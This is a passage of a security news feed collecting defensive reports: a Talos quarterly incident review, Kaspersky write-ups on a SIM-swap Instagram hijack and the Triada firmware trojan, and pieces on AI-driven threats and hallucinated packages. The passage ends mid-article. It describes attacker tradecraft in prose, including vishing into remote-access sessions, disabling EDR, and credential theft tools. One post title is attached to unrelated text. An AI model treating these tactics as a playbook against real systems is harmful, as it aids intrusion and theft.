2024 wasn’t the year that AI rewrote the cybercrime playbook — but it did turbocharge some of the old tricks. In Cisco Talos’ 2024 Year in Review, with the help of our friends at Robust Intelligence (now a Cisco company), we dissect how cybercriminals used generative AI to scale up social engineering, fine-tune phishing, and automate grunt work like OSINT gathering.
So while AI didn’t completely rock the threat landscape last year, the groundwork is being laid for 2025, where agentic AI and automated vulnerability hunting could cause some significant challenges for defenders. Our research showcases the top four areas of concern for the coming year.
Curious about how AI could impact your defenses — or your data — this year? Take a look at this summary of AI-based threats:
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2025-04-29 10:07:042025-04-29 10:07:04Year in Review: AI based threats
“I’m giving away $125 000! Join the project via the link in my profile!” — suddenly, a popular Russian blogger launches a massive cash giveaway on Instagram. A familiar face, speaking in upbeat voice and confident tone, appears in Stories. It all looks too good to be true…
That’s because it is. There’s no real project. The blogger didn’t launch anything. Her account was simply hijacked. And the scammers went beyond the usual tricks: not only did they steal access and post a fake giveaway link, but they also stitched together a new video from old footage and dubbed it with a voice generated by neural networks. Read the whole story to learn how Instagram accounts are stolen by swapping SIM cards — and what you can do to protect yourself.
An almost flawless scam campaign
With the rise of AI tools, scammers have suddenly gotten “smarter”. Before, having hacked a blogger, they’d have just posted phishing links and hoped the audience would bite. Now they can run full-fledged PR campaigns from the stolen account. Here’s what the scammers did this time:
One short video. They wrote a script, voiced it with a deepfake of the blogger’s voice, and edited together visuals from her previously posted Reels.
A text post. They published a photo with a tear-jerking caption about how hard it was to launch the project, trying to mimic the blogger’s usual tone.
Four Stories. They reused old Stories where the blogger mentioned a real project, added a link to a phishing site, and reposted them.
All this lends the fake project an air of legitimacy — since bloggers often use content like this across different formats to promote real initiatives. The scammers spared no effort — even throwing in some testimonials from grateful fans; fake ones, of course.
Fake testimonials aimed at encouraging more fans to participate
Let’s take a closer look at the video. At first glance, it’s surprisingly high-quality. It follows all the blog’s rules: the blog’s topic (home renovation), voiceover narration, quick editing. But upon closer examination, the illusion is shattered. Check out the screenshot below: only one video has a watermark in the top-left corner — from the free version of the editing app CapCut. That’s the fake. The other videos don’t have this watermark — because the real blogger either uses the premium version or edits with another app.
The first video is the fake one created by the scammers
There’s another detail: the subtitles. In all her real videos, the blogger uses plain white text with no background. In the fake video, the text is white on a black background. Sure, bloggers sometimes change their style, but usually settings like font and color are saved in their editing software and stay consistent.
What happens if you click the link in the profile?
Here’s where it gets interesting. What kind of “project” exactly were the scammers promoting, and what happens if you click the link?
The bio looks suspicious
If you’re using a device without reliable protection (which would warn you if you try to visit a phishing site), you’ll land on a very basic page: a flashy image, some eye-catching text, and a Claim your prize button. Clicking such buttons typically leads to one of two outcomes: you’ll be asked to pay a commission, or prompted to enter your data — purportedly to receive your winnings. In any case, you’ll be asked to share your bank details. Of course, no prize is coming — it’s pure phishing.
A girl with dollars and a smartphone symbolizes the riches that await… the scammers after they steal your banking account
How did attackers hack the blogger’s Instagram account?
Important: there’s no official version of how the account was compromised yet. It’s a high-profile case, and the blogger has reported it to the police. She currently suspects she fell victim to a SIM-swap attack. In short, this means that the scammers convinced her mobile provider to transfer her phone number to a new SIM card. There are two main ways this can be done:
Old method. Scammers forge a power of attorney and physically visit the mobile provider’s office to request a SIM replacement.
New method. The criminals access the victim’s online account provided by the mobile carrier and remotely issue an eSIM.
SIM swapping allowed scammers to bypass two-factor authentication and convince Instagram support that they were the real account owners. Similar tricks can be used with any service that sends verification codes via text — including online banks.
As for the blogger’s original SIM card, it instantly turned into a useless piece of plastic: no internet, no calls, no texts.
How to protect your account from being hacked
Here are the basic rules to prevent most types of account hacks — whether on messaging apps, social networks, forums, or other sites:
Use advancedtwo-factor authentication with app-generated codes instead of texts (SMS). For Instagram, we recommend also adding a backup method: Settings and activity → Accounts Center → Password and security → Two-factor authentication → Add a backup method. Then, download a dedicated app to generate your login codes.
Follow the golden rule: each service has its own unique password. That way, hackers won’t get access to everything at once.
Ask your mobile operator if it’s possible to either completely prohibit servicing you remotely, or set up a special code you must state in every interaction — remote or in person. This can help protect you from SIM-swapping attacks.
More to read on protecting your accounts from hacking:
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2025-04-28 12:06:372025-04-28 12:06:37How to protect your social media accounts from SIM swap attacks | Kaspersky official blog
Phishing attacks spiked this quarter as threat actors leveraged this method of initial access in half of all engagements, a vast increase from previous quarters. Conversely, the use of valid accounts for initial access was rarely seen this quarter, despite being the top observed method in 2024, according to our Year in Review report. Nevertheless, valid accounts played a prominent role in the attack chains Cisco Talos Incident Response (Talos IR) observed as actors predominately used phishing to gain access to a user account, then leveraged this access to establish persistence in targeted networks.
Ransomware and pre-ransomware incidents made up a slightly larger portion of threats observed this quarter, with most incidents falling into the latter category. Talos IR’s investigations into pre-ransomware events provided unique insight into defensive measures that successfully stopped these attacks before a ransomware executable could be deployed, including early engagement with the incident response team and robust monitoring of certain threat actor tactics, techniques and procedures (TTPs).
Watch a discussion on the biggest trends on this latest report
Actors leverage access to valid accounts via phishing to establish persistence
Threat actors used phishing to achieve initial access in 50 percent of engagements, a notable increase from less than 10 percent last quarter. Vishing was the most common type of phishing attack seen, accounting for over 60 percent of all phishing engagements, though we also observed malicious attachment, malicious link and business email compromise (BEC) attacks.
Adversaries predominately leveraged phishing to gain access to a valid account, pivot deeper into the targeted network, and expand their foothold, contrasting other phishing objectives we have seen in the past such as eliciting sensitive information or monetary transfers. For example, in an observed vishing campaign — described in further detail in the ransomware section below — adversaries deceived users over the phone into establishing remote access sessions to the user’s workstation, then used this access to load tooling, establish persistence mechanisms and disable endpoint protections.
In some engagements, actors leveraged phishing attacks to steal users’ legitimate access tokens, enabling them to maintain persistent access to the targeted networks. In one engagement, adversaries deployed a phishing email with a malicious link to successfully steal a user’s multi-factor authentication (MFA) session token along with their credentials. From there, the actors gained unauthorized access to the target’s Microsoft Office 365 environment and deployed enterprise applications with the likely goal of gaining further access into additional accounts. In another phishing engagement, upon gaining access to a user’s valid account, the actors cloned their active access token and specified new credentials for outbound connections. They then sought to expand their access by running commands to gather system information and creating a scheduled task to execute a malicious JavaScript file upon user login.
Ransomware trends
Vishing campaign leveraging BlackBasta and Cactus TTPs hits manufacturing and construction organizations
Ransomware and pre-ransomware incidents made up over 50 percent of engagements this quarter, an increase from nearly 30 last quarter. A robust campaign leveraging BlackBasta and Cactus TTPs that targeted manufacturing and construction organizations accounted for over 60 percent of pre-ransomware and ransomware engagements and was consistent with public reporting on likely related incidents.
The attack chain we observed begins with the threat actors flooding users’ mailboxes at targeted organizations with a large volume of benign spam emails. After a few days, the actors call the victim, usually via Microsoft Teams, and direct them to initiate a Microsoft Quick Assist remote access session, helping them with installation of the program if not already present on the user’s system. Once a Quick Assist session is established, the adversary loads tooling to collect information about the target system and establish persistence. The actors create the TitanPlus registry key and embed IP addresses to enable command and control (C2) communication, using character substitution to obfuscate the infrastructure. After completing the TitanPlus registry key persistence process, the adversary then performs subsequent privilege escalation and lateral movement, seemingly with the ultimate goal of deploying ransomware. We initially observed the threat actors leveraging BlackBasta ransomware and pivoting to Cactus ransomware after public reporting on their use of the former was released. Our analysis of engagements involving Cactus led us to identify a previously undocumented variant of the ransomware, which builds upon previous functionality with new command-line arguments that provide the threat actors with greater control over the binary’s function, likely to prioritize efficiency and maximum impact.
Looking forward: The threat actors responsible for this campaign have proven to be agile, modifying their TTPs as more public reporting on this campaign emerges, which leads us to assess they will continue to adjust their TTPs and/or incorporate a different ransomware family or tooling into their attack chain moving forward to evade detection. We published our findings on this campaign in our Year in Review report in late March 2025 and will be tracking this activity to see if the threat actors modify their operations moving forward.
Early detection of pre-ransomware TTPs halts attacks before encryption
Out of all ransomware and pre-ransomware engagements this quarter, 75 percent of incidents fell into the latter category, providing insight into defensive measures that successfully stopped these attacks before a ransomware executable could be deployed.
One tactic that proved effective was early engagement with the incident response team. For example, in one engagement, Talos IR was contacted directly after the organization’s users experienced a flood of spam email. Given this TTP was consistent with the vishing campaign we had already observed affecting other organizations, we were able to advise that this was very likely pre-ransomware activity and share actionable indicators of compromise (IOCs) and mitigation recommendations.
Another defensive measure that was effective in containing pre-ransomware activity was robust monitoring and endpoint detection and response (EDR) solutions, particularly those configured to alert on unauthorized remote access connections and suspicious file execution. In one engagement, Cisco XDR was configured to flag certain TTPs that the security team identified were consistent with pre-ransomware activity, and soon after the alerts were triggered, they moved quickly to focus on eradication of the threat. The TTPs included use of remote access tools, disabling of the volume shadow copy service (VSS), and use of a local account to deploy a vulnerable driver. In another engagement, the organization’s monitoring tools alerted them of unauthorized remote access and they acted swiftly to respond to the affected system, resulting in the threat actor only having access to the targeted system for three minutes. In a different incident, suspicious file execution was flagged, leading the customer to identify the threat and isolate the system within hours of initial access.
Crytox becomes latest ransomware group to leverage HRSword to disable EDR protections
Crytox appeared in a Talos IR engagement for the first time this quarter, with affiliates leveraging HRSword as part of their attack chain — a tool that has not previously been publicly associated with the ransomware group. According to public reporting, Crytox is a ransomware family first seen in 2020 that typically encrypts local disks and network drives and drops a ransom note with a five-day ultimatum. Affiliates are known to leverage the uTox messenger application so victims can communicate with the threat actors.
Talos IR responded to an engagement in which adversaries exploited a public-facing application that was not protected by MFA to gain initial access, then launched a ransomware attack that encrypted two hypervisors hosting numerous VM servers. The actors used TTPs that aligned with known Crytox TTPs, including using uTox for communication and dropping a ransomware note that matches publicly shared Crytox ransom notes. Of note, we also observed the affiliates using HRSword to disable the target’s EDR solution. We first reported on ransomware actors’ use of HRSword in FY24 Q1, specifically highlighting a Phobos incident, and observed additional threat groups leverage the tool throughout the remainder of the year.
Targeting
The manufacturing industry vertical was the most affected this quarter, accounting for 25 percent of engagements. Notably, though education was the most targeted vertical for the second half of 2024, we did not respond to any incidents targeting education entities this quarter.
Initial access
As mentioned, the most observed means of gaining initial access this quarter was phishing, followed by use of valid accounts and exploitation of public facing applications. The increase in phishing attacks this quarter is likely due in part to the robust vishing campaign we observed that accounted for over 60 percent of all phishing engagements.
Recommendations for addressing top security weaknesses
Implement properly configured MFA and other access control solutions
Half of the engagements this quarter involved MFA issues, including misconfigured MFA, lack of MFA and MFA bypass. As mentioned in the above ransomware section, token theft played a role in several incidents this quarter, enabling threat actors to bypass authentication controls and establish trusted connections. We also observed threat actors adding malicious secondary MFA devices to compromised accounts as well as taking advantage of a lack of MFA on remote access services, the latter of which is a tactic we have consistently observed in previous quarters. Talos IR recommends monitoring and alerting on the following for effective MFA deployment: abuse of bypass codes, creation of accounts designed to bypass or be exempt from MFA and removal of accounts from MFA.
Enforce user education on phishing and social engineering attacks
Half of the engagements this quarter involved social engineering, potentially highlighting insufficient user education. This security weakness corresponds with the surge in phishing attacks, as users were manipulated to grant attackers access to their environments, with vishing proving to be particularly effective. Talos IR recommends raising awareness of phishing and social engineering techniques, as user education is a key part of spotting phishing attempts, countering MFA bypass techniques and knowing where to report suspicious activity.
Protect endpoint security solutions
Almost 20 percent of incidents involved organizations that did not have protections in place to prevent uninstallation of EDR solutions, enabling actors to disable these defenses. Talos IR strongly recommends ensuring endpoint solutions are protected with an agent or connector password and customizing their configurations beyond the default settings. Additional recommendations for hardening EDR solutions against this threat can be found in our 2024 Year in Review report.
Top-observed MITRE ATT&CK techniques
The table below represents the MITRE ATT&CK techniques observed in this quarter’s Talos IR engagement. Given that some techniques can fall under multiple tactics, we grouped them under the most relevant tactic in which they were leveraged. Please note this is not an exhaustive list.
Key findings from the MITRE ATT&CK framework include:
This was the first quarter since January to March of 2024 (Q1 FY24) in which phishing was the top initial access technique, with actors leveraging vishing, malicious links, malicious attachments and BEC attacks.
We observed actors leveraging a wider variety of commercial and open-source remote access tools this quarter, including SplashTop, Atera, TeamViewer, AnyDesk, LogMeIn, ScreenConnect, QuickAssist, TightVNC and Level’s RMM platform. These tools appeared in 50 percent of engagements, a slight increase from almost 40 percent last quarter.
Tactic
Technique
Example
Reconnaissance (TA0043)
T1590 Gather Victim Network Information
Adversaries may gather information about the victim’s networks that can be used during targeting. Information may include a variety of details, including administrative data as well as specifics regarding its topology and operations.
T1595.002 Active Scanning: Vulnerability Scanning
Adversaries may run vulnerability scans against an organization’s public-facing infrastructure to identify potential vulnerabilities to exploit.
Initial Access (TA0001)
T1598.004 Phishing for Information: Spearphishing Voice
In an observed campaign, users received calls from the adversary posing as IT support and were prompted to initiate a QuickAssist session.
T1598.003 Phishing for Information: Spearphishing Link
Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting.
T1598 Phishing for Information: Spearphishing Attachment
Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting.
T1190 Exploit in Public-Facing Application
Adversaries may exploit a vulnerability to gain access to a target system.
T1078 Valid Accounts
Adversaries may use compromised credentials to access valid accounts during their attack.
Execution (TA0002)
T1059.001 Command and Scripting Interpreter: PowerShell
Adversaries may abuse PowerShell to execute commands or scripts throughout their attack.
T1047 Windows Management Instrumentation
Adversaries may use Windows Management Instrumentation (WMI) to execute malicious commands during the attack.
T1053 Scheduled Task/Job
Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.
Persistence (TA0003)
T1098 Account Manipulation
Adversaries may manipulate accounts to maintain and/or elevate access to victim systems.
T1136.001 Create Account: Local Account
Adversaries may create a local account to maintain access to victim systems.
T1547.001 Persistence: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Adversaries established persistence by embedding IP addresses in the TitanPlus registry key.
T1133 External Remote Services
Adversaries may leverage external-facing remote services to initially access and/or persist within a network.
T1546.008 Event Triggered Execution: Accessibility Features
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features.
Privilege Escalation (TA0004)
T1134 Access Token Manipulation
Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.
Defense Evasion (TA0005)
T1562.001 Impair Defenses: Disable or Modify Tools
Adversaries may disable or uninstall security tools to evade detection.
T1562.004 Impair Defenses: Disable or Modify System Firewall
Adversaries may disable or modify system firewalls to bypass controls limiting network usage.
T1564.008 Hide Artifacts: Email Hiding Rules
Adversaries may use email rules to hide inbound or outbound emails in a compromised user’s mailbox.
T1070.001 Indicator Removal: Clear Windows Event Logs
Adversaries may clear the Windows event logs to cover their tracks and impair forensic analysis.
T1112 Modify Registry
Adversary used some registry modifications to get privilege escalation.
Credential Access (TA0006)
T1003 OS Credential Dumping
Adversaries may dump credentials from various sources to enable lateral movement.
T1528 Steal Application Access Token
Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.
Discovery (TA0007)
T1046 Network Service Discovery
Adversaries may use tools like Advanced Port Scanner for network scanning.
T1057 Process Discovery
Adversaries may attempt to get information about running processes on a system.
T1018 Remote System Discovery
Adversaries may attempt to discover information about remote systems with commands, such as “net view”.
T1082 System Information Discovery
An adversary may attempt to get detailed information about the operating system and hardware.
T1016 System Network Configuration Discovery
Adversaries may use commands, such as ifconfig and net use, to identify network connections.
Adversaries may abuse valid accounts using RDP to move laterally in a target environment.
T1021.006 Remote Services: Windows Remote Management
Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM).
Command and Control (TA0011)
T1219 Remote Access Software
An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks.
T1105 Ingress Tool Transfer
Adversaries may transfer tools from an external system to a compromised system.
T1572 Protocol Tunneling
Adversaries may tunnel network communications to and from a victim system within a separate protocol, such as SMB, to avoid detection and/or enable access.
Exfiltration (TA0010)
T1048 Exfiltration Over Alternative Protocol
Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel, such as WinSCP.
Impact (TA0040)
T1486 Data Encrypted for Impact
Adversaries may use ransomware to encrypt data on a target system.
T1490 Inhibit System Recovery
Adversaries may disable system recovery features, such as volume shadow copies.
T1489 Service Stop
Adversaries may stop or disable services on a system to render those services unavailable to legitimate users.
Software/Tool
S0029 PsExec
Free Microsoft tool that can remotely execute programs on a target system.
S0349 LaZagne
A post-exploitation, open-source tool used to recover stored passwords on a system.
S0357 Impacket
An open-source collection of modules written in Python for programmatically constructing and manipulating network protocols.
S0002 Mimikatz
Credential dumper that can obtain plaintext Windows logins and passwords.
S0097 Ping
An operating system utility commonly used to troubleshoot and verify network connections.
S0552 AdFind
Freely available command-line query tool used for gathering information from Active Directory.
S1071 Rubeus
A C# toolset designed for raw Kerberos interaction.
S0057 Tasklist
A utility that displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2025-04-26 17:06:412025-04-26 17:06:41Deepfake ‘doctors’ take to TikTok to peddle bogus cures
The familiar checkout ritual at the supermarket: once everything’s been scanned — the offer, delivered with a hopeful smile: “Chocolate bar for the road? It’s a good one, and the discount is almost criminal”. If you’re lucky, you get a delicious bonus at a great price. But more often than not they’re trying to sell you something that’s not selling well: either it’s about to expire or it has some other hidden flaw.
Now, imagine you declined that chocolate bar, but it was secretly slipped into your bag anyway, or even worse, into your pocket, where it melted and ruined your clothes, spoiling your day. Well, something similar happened to those who bought knock-offs of popular smartphone brands from online marketplaces. No, they didn’t get a chocolate bar. They walked away with a brand-new smartphone that had the Triada Trojan embedded in its firmware. This is much worse than melted chocolate. Their crypto balances, along with their Telegram, WhatsApp, and social media accounts, could be gone before they could utter “bargain!”. Someone could steal their text messages and a lot more.
Triada? What Triada?
That’s the name we at Kaspersky gave to the Trojan we first discovered and described in detail in 2016. This mobile malware would infiltrate almost every process running on a device, while residing only in the RAM.
The emergence of Triada spelled a new era in the evolution of mobile threats targeting Android. Before Triada, Trojans were relatively harmless — mainly displaying ads and downloading other Trojans. This new threat showed that things would never be the same again.
With time, Android developers fixed the vulnerabilities that early versions of Triada exploited. Recent Android versions restricted even users with root privileges from editing system partitions. Did this stop the cybercriminals? What do you think?!..
Fast-forward to March 2025, and we discovered an adapted version of Triada that takes advantage of the new restrictions. The threat actor infects the firmware even before the smartphones are sold. Pre-installed in system partitions, the malware proves nearly impossible to remove.
What is this new version capable of?
Our Android security solution detects the new version of Triada as Backdoor.AndroidOS.Triada.z. This new version is what’s embedded in the firmware of fake Android smartphones available from online marketplaces. It can attack any application running on the device. This gives the Trojan virtually unlimited capabilities. It can control text messages and calls, steal crypto, download and run other applications, replace links in browsers, surreptitiously send messages in chat apps on your behalf, and hijack social media accounts.
A copy of Triada infiltrates every app launched on an infected device. Besides that, the Trojan includes specialized modules that target popular apps. As soon as the user downloads a legitimate app like Telegram or TikTok, the Trojan embeds itself in it and starts causing harm.
Telegram. Triada downloads two modules to compromise Telegram. The first one initiates malicious activity once a day, connecting to a command-and-control (C2) server. It sends the victim’s phone number to the criminals, along with complete authentication data — including the access token. The second module filters all messages, interacting with a bot (which didn’t exist at the time of our research), and deleting notifications about new Telegram logins.
Instagram. Once a day, the Trojan runs a malicious task to search for active session cookies and forward the data to the attackers. These files help the criminals assume full control over the account.
Browsers. Triada threatens a number of browsers: Chrome, Opera, Mozilla, and some others. The full list is available in the Securelist article. The module connects to the C2 server over TCP and randomly redirects legitimate links in the browsers to advertising sites for now. However, because the Trojan downloads redirect links from its C2 server, attackers can direct users to phishing sites at any time.
WhatsApp. Again, there are two modules. The first one collects and sends data about the active session to the C2 server every five minutes — giving the attackers full access to the victim’s account. The second one intercepts the client functions for sending and receiving messages, which allows the malware to send and then delete arbitrary instant messages to cover its tracks.
LINE. The dedicated Triada module collects internal app data, including authentication data (access token), every 30 seconds, and forwards it the C2 server. In this case, too, someone else assumes full control of the user’s account.
Skype. Although Skype is about to be retired, Triada still has a module for infecting it. Triada uses several methods to obtain the authentication token and then sends it to the C2 server.
TikTok. This module can collect a lot of data about the victim’s account from cookie files in the internal directory, and also extract data required for communicating with the TikTok API.
Facebook. Triada is armed with two modules for this app. One of them steals authentication cookies, and the other sends information about the infected device to the C2 server.
Of course, there are also modules for SMS and calls. The first SMS module allows the malware to filter all incoming messages and extract codes from them, respond to some messages (likely to subscribe victims to paid services) and send arbitrary SMS messages when instructed by the C2 server. The second, auxiliary module disables the built-in Android protection against SMS Trojans that requests user permission before sending messages to short codes (Premium SMS), which could be used to confirm paid subscriptions.
The call module embeds itself in the phone app, but it’s most likely still under development. We discovered that it partially implements phone number spoofing — something we expect to be completed soon.
Another module, a reverse proxy, turns the victim’s smartphone into a reverse proxy server, giving attackers access to arbitrary IP addresses on behalf of the victim.
Not unexpectedly, Triada also targets crypto owners, with a special surprise awaiting them: a clipper. The Trojan watches the clipboard for crypto wallet addresses, substituting one of the attackers’ own. A crypto stealer analyzes the victim’s activity, replacing crypto wallet addresses with a fraudulent addresses anywhere it can, whenever an attempt is made to withdraw cryptocurrency. It even interferes with button tap handlers inside apps and replaces images with generated QR codes that link to the attackers’ wallet addresses. The criminals have managed to steal more than US$264 000 in various cryptocurrencies since June 13, 2024 with the help of these tools.
See our Securelist report for a full list of Triada features and a detailed technical analysis.
How the malware infiltrates smartphones.
In every infection case that we are aware of, the firmware name on the device differed from the official one by a single letter. For example, the official firmware was TGPMIXM, while the infected phones had TGPMIXN. We found posts on relevant discussion boards where users complained about counterfeit devices purchased from online stores.
It’s likely that a stage in the supply chain was compromised, while the stores had no idea they were distributing devices infected with Triada. Meanwhile, it’s practically impossible to determine exactly when the malware was placed inside the smartphones.
How to protect yourself from Triada
The new version of the Trojan was found pre-installed on counterfeit devices. Therefore, the best way to avoid Triada infection is to buy smartphones from authorized dealers only. If you suspect that your phone may have been infected with Triada (or another Trojan), here are our recommendations.
Refrain from using any of the potentially compromised apps listed above or making any financial transactions — including cryptocurrency.
If Triada is found on the device, reflash the smartphone with the official firmware yourself, or contact the local service center. Expect sudden changes to your smartphone’s specs: besides the pre-installed Trojan, the fake firmware often overstated the RAM and storage.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2025-04-25 13:06:382025-04-25 13:06:38Triada: a Trojan pre-installed on Android smartphones out of the box | Kaspersky official blog
Welcome to this week’s edition of the Threat Source newsletter.
“Be curious, not judgmental,” Ted Lasso says, misattributing Walt Whitman. We forgive Ted because… well, he’s Ted Lasso.
If you’ve not watched the first season of Ted Lasso, there is a defining moment where Ted confronts a nefarious bully. While putting him in his place with kindness and skill, Ted refers to this quote. It’s a defining moment not only for Ted but for the secondary and tertiary characters in the scene. One of the questions that I’m asked most when public speaking is “How do I get into Talos?” For people considering a new career, it’s “How do I get into cybersecurity?” To all those questions, my answer is “Be curious, not judgmental.”
I think there is no greater skill necessary in security than intellectual curiosity. If you have that, you can learn the rest. The hiring process to get in the door at Talos is extremely challenging and the candidates are incredible. That’s why when I interview candidates for various roles in Talos I rarely, if ever, fixate on a niche skillset, instead focusing on the prospective employee’s intellectual curiosity. I ask weird questions that don’t seem related to the specific job role, not in an effort to throw them off but simply because I am curious and hope that they are as well.
Do you like to read? Do you ever read books outside of your normal wheelhouse? What are some favorite fiction and non-fiction books? Do you have a favorite craft or hobby? How many different Linux distributions have you installed? What are your 5 favorite board games? Do you play video games, and if so, what are a few favorites from each platform and decade?
These kinds of questions help me identify what kind of innate curiosity that the prospective candidate possesses and from their answers we will invariably fall down a rabbit hole while my co-workers shake their heads at me in disdain.
Beyond that, I always listen for my favorite answer: “I don’t know, but…” There’s no better answer to a very difficult question than “I don’t know, but I’d probably try X,” or “I don’t know, but I’d love to learn…”
Barbecue sauce.
The one big thing
Cisco Talos has released a blog post on the initial access broker (IAB) we call “ToyMaker” — a financially-motivated threat actor. They deploy their custom-made backdoor we call “LAGTOY” and extract credentials from the victim enterprise. LAGTOY can be used to create reverse shells and execute commands on infected endpoints.
Why do I care?
A compromise by LAGTOY may result in access handover to a secondary threat actor. Specifically, we’ve observed ToyMaker hand over access to Cactus, a double extortion gang who employed their own tactics, techniques and procedures (TTPs) to carry out malicious actions across the victim’s network. Our blog details a timeline with turnaround time from ToyMaker to Cactus.
So now what?
Cisco Talos has released information to help ensure protection including techniques and related IOCs. Check out the blog post for full details.
Top security headlines of the week
Apple says zero-day bugs exploited against ‘specific targeted individuals’ using iOS. Apple has released new software updates across its product line to fix two security vulnerabilities, which the company said may have been actively used to hack customers running its mobile software, iOS. (TechCrunch)
Microsoft purges millions of cloud tenants in the wake of Storm-0558. In an effort to thwart state-sponsored activity stemming from preventable security issues, Microsoft is making significant efforts to purge inactive Azure cloud tenants and take comprehensive inventory of cloud and network assets. (DarkReading)
Researchers warn of critical flaw found in Erlang OTP SSH. The vulnerability could allow unauthenticated attackers to gain full access to a device. Many of these devices are widely used in IoT and telecom platforms. (cybersecuritydrive)
CISA flags actively exploited vulnerability in SonicWall SMA devices. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a security flaw impacting SonicWall Secure Mobile Access 100 Series gateways to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. (The Hacker News)
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2025-04-24 18:06:392025-04-24 18:06:39Lessons from Ted Lasso for cybersecurity success
We are honored to announce that ANY.RUN became a gold winner at the annual Globee Business Awards 2025. The award aims to recognize and celebrate excellence in various industries worldwide, including cybersecurity.
Our solution, ANY.RUN’s TI Lookup, was named best in the Cyber Threat Intelligence category. We believe that threat intelligence is an essential aspect of ensuring the cybersecurity of organizations, and recognition in this sphere is important to us.
We’d like to thank you—our readers, partners, users of our products, and all fellow cybersecurity enthusiasts and professionals! The victory itself is not as important as the fact that it stands for continuous support from the community and acknowledgement of our high-quality products benefiting thousands of businesses.
What makes TI Lookup special
Homepage of ANY.RUN’s Threat Intelligence Lookup
TI Lookup is a search engine that gives users the opportunity to navigate ANY.RUN’s database of fresh and unique information on cyber attacks. It is continuously enriched with extensive data on the latest threats analyzed by 500,000 security professionals and 15,000 companies in ANY.RUN’s Interactive Sandbox.
As a result, it contains a wealth of indicators and events logged during analyses, including IOCs, IOAs, and IOBs.
Threat Intelligence Lookup helps you:
Pin existing IOCs to specific threats and discover additional indicators to update your detection capabilities.
Simplify and accelerate threat investigation thanks to the quick response time and access to up-to-date information.
Browse extensive and regularly updated database of malware samples to get in-depth context of threats.
Increase the efficacy of incident response and triage by working on the tasks as a team.
Monitor evolving threats by subscribing to requests relevant to your company using Search Updates.
Enrich alerts and expand threat context with TI Lookup Get 50 trial requests to collect your first intel
Accelerate triage and threat identification: Uncover attacks behind alerts with quick indicator search to block them before they escalate.
Improve incident response: Collect attack IOCs, IOAs, IOBs, TTPs, and observe its full execution inside the sandbox for more accurate response.
Strengthen proactive security: Enrich your defense with fresh indicators from the latest samples to prevent attacks, including with auto-updates.
Simplify threat hunting: Run proactive searches on indicators found in your network to pin them to actual threats.
Enhance forensic analysis: investigate system events and indicators with the help of TI Lookup to discover missing attack details.
Recognition
It means a lot to us that the expert committee once again expressed their appreciation of our efforts. Previously our flagship product ANY.RUN’s Interactive Sandbox was announced a silver winner in the Outstanding Threat Detection and Response category at Globee Awards 2025.
About ANY.RUN
ANY.RUN creates products for malware analysts and SOC teams, such as ANY.RUN’s Interactive Sandbox, TI Lookup and TI Feeds. They help accelerate the work of security specialists of all tiers and benefit businesses by providing helpful insights that allow them to minimize harmful consequences of cyber attacks or avoid them altogether.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2025-04-24 11:07:182025-04-24 11:07:18ANY.RUN Becomes a Gold Winner in Threat Intelligence at Globee Awards 2025
AI-generated code is already widespread — by some estimates around 40% of new code this past year was written by AI. Microsoft CTO Kevin Scott predicts that in five years this figure will hit 95%. How to properly maintain and protect such code is a burning issue.
Experts still rate the security of AI code as low, as it’s teeming with all the classic coding flaws: vulnerabilities (SQL injections, embedded tokens and secrets, insecure deserialization, XSS), logical defects, outdated APIs, insecure encryption and hashing algorithms, no handling of errors and incorrect user input, and much more. But using an AI assistant in software development adds another unexpected problem: hallucinations. A new study examines in detail how large language models (LLMs) create hallucinations that pop up in AI code. It turns out that some third-party libraries called by AI code simply don’t exist.
Fictitious dependencies in open-source and commercial LLMs
To study the phenomenon of phantom libraries, the researchers prompted 16 popular LLMs to generate 576,000 Python and JavaScript code samples. The models showed varying degrees of imagination: GPT4 and GPT4 Turbo hallucinated the least (fabricated libraries were seen in less than 5% of the code samples); next came DeepSeek models (more than 15%); while CodeLlama 7B was the most fantasy-prone (more than 25%). What’s more, even the parameters used in LLMs to control randomness (temperature, top-p, top-k) are unable to reduce the hallucination rate to insignificant values.
Python code contained fewer fictitious dependencies (16%) than JavaScript (21%). Age is also a contributing factor. Generating code using packages, technologies and algorithms that started trending only this past year results in 10% more non-existent packages.
But the most dangerous aspect of phantom packages is that their names aren’t random, and neural networks reference the same libraries over and over again. That was demonstrated by stage two of the experiment, in which the researchers selected 500 prompts that had provoked hallucinations, and re-ran each of them 10 times. This revealed that 43% of hallucinated packages crop up during each code generation run.
Also of interest is the naming of hallucinated packages: 13% were typical “typos” that differed from the real package name by only one character; 9% of package names were borrowed from another development language (Python code, npm packages); and a further 38% were logically named but differed more significantly from the real package names.
Meet slopsquatting
